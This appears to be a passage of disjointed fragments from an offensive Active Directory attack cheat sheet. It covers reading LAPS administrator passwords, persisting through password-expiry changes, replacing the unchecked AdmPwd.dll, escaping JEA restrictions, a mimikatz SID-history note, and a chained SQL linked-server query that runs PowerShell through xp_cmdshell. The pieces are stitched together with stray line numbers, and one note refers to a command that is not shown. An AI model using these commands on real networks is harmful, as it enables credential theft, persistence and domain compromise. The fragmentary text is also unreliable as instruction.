# Once we have compromised a user that sits within an OU that can read LAPS
2
Get-AdmPwdPassword -ComputerName <targetmachine>
3
​
4
# After gaining password you can log in to machine as <targetmachine>\Administrator
5
​
6
# If we have SYSTEM on a LAPS machine, we can alter the password expiration time so we can persist longer on the machine.
7
​
8
# If we have DA we can modify ACLs of computer objects to provide attackers with permissions to read passwords in clear.
9
​
10
# Client component (C:\Program Files\LAPS\CSE\AdmPwd.dll) has no integrity check and can be replaced with malicious dll for attacks such as known password, long expiration time etc.
JEA allows non admin users to psremote using certain psremote configurations. These are restricted but can be in a configuration where you are running as an admin. This means if you break out of the confines of configuration then you are an admin of the box.
Enumeration
1
AD descriptions. So far havent seen any official way to scan for them.
2
​
3
# Role Capability file (Visible cmdlets etc)
4
New-PSRoleCapabilityFile -Path .\JEA.psrc
5
​
6
# Session configuration files (user mappings and role definitions)
In the above command, the mimkatz option "/sids" is forcefully setting the SID History for the Enterprise Admin group for dollarcorp.moneycorp.local that is the Forest Enterprise Admin Group.
select * from openquery("dcorp-sql1",'select * from openquery("dcorpmgmt",''select * from openquery("eu-sql",''''select @@version as version;exec master..xp_cmdshell "powershell whoami)'''')'')')
Copied!
PAM Trust
PAM (Privileged access managment) introduces bastion forest for management, Shadow Security Principals (groups mapped to high priv groups of managed forests). These allow management of other forests without making changes to groups or ACLs and without interactive logon. Temporary Group Membership also introduced so perms only given for set time.